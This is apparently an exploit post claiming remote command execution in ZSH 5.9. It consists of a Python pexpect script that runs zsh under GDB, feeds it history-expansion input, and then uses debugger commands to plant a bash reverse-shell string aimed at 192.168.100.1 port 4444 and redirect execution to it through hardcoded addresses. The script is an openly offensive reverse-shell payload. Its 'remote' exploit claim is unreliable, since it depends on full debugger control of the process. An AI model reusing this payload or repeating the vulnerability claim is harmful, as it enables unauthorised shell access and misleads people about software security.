📄 ZSH 5.9 Remote Command Execution

# Exploit ZSH 5.9 - RCE 
    # Date: 30-12-2025
    # Exploit Author: sinanadilrana
    import pexpect
    import sys
    import time
    
    def debug_print(msg):
        print(f"[DEBUG] {msg}")
    
    def return_to_gdb(gdb, max_attempts=3, timeout=3):
        """More reliable function to return to GDB prompt"""
        debug_print("Attempting to return to GDB...")
        for attempt in range(max_attempts):
            gdb.sendintr()  # Send CTRL+C
            time.sleep(0.5)
            try:
                index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
                if index in [0, 1]:  # Found either pwndbg> or (gdb) prompt
                    debug_print("Successfully returned to GDB")
                    return True
            except pexpect.EOF:
                debug_print("Session ended unexpectedly")
                return False
            
            debug_print(f"Attempt {attempt + 1} failed, retrying...")
        
        debug_print("Failed to return to GDB after maximum attempts")
        return False
    
    # Configure pexpect with consistent bytes mode
    gdb = pexpect.spawn('gdb --args zsh -f', timeout=30, encoding=None)
    gdb.logfile = sys.stdout.buffer
    
    debug_print("Starting GDB with zsh -f...")
    try:
        gdb.expect(b'pwndbg>', timeout=10)
        debug_print("GDB started successfully")
    except (pexpect.EOF, pexpect.TIMEOUT) as e:
        debug_print(f"GDB failed to start: {str(e)}")
        sys.exit(1)
    
    # Run zsh and handle shell
    debug_print("Running zsh...")
    gdb.sendline(b'run')
    
    shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln>', b'vuln% ']
    try:
        gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
        debug_print("Shell started successfully")
    except pexpect.TIMEOUT:
        debug_print("Timeout waiting for shell")
        gdb.sendintr()
        time.sleep(1)
    
    # Shell command execution
    if any(prompt in gdb.after for prompt in shell_prompts):
        for cmd in [b'!', b'!!11111111111']:
            debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
            gdb.sendline(cmd)
            try:
                gdb.expect(shell_prompts, timeout=3)
                debug_print("Command executed")
            except pexpect.TIMEOUT:
                debug_print("No response from command")
    
        # Use the new return_to_gdb function
        if not return_to_gdb(gdb):
            debug_print("Critical error - couldn't return to GDB")
            sys.exit(1)
    
    # Memory operations - simplified and more reliable
    if b'pwndbg>' in gdb.after:
        mem_commands = [
            b'x/s 0x555555659000',
            b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.1/4444 0>&1\\""',
            b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
            b'set $rdi = 0x555555659000',
            b'set $rsp = $rsp - 8',
            b'continue',
            b'set {long}$rsp = 0x55555555a000',
            b'set $rip = 0x7ffff7cc9110',
            b'set $rdi = 0x555555659000',
            b'continue'
        ]
    
        for cmd in mem_commands:
            debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
            gdb.sendline(cmd)
            try:
                if b'continue' in cmd:
                    gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
                else:
                    gdb.expect(b'pwndbg>', timeout=5)
            except pexpect.TIMEOUT:
                debug_print("Timeout - attempting to recover...")
                if not return_to_gdb(gdb):
                    debug_print("Failed to recover after timeout")
                    break
    
    # Final interactive mode
    debug_print("Complete - entering interactive")
    try:
        gdb.logfile = None
        gdb.interact()
    except Exception as e:
        debug_print(f"Interactive error: {str(e)}")
    finally:
        gdb.close()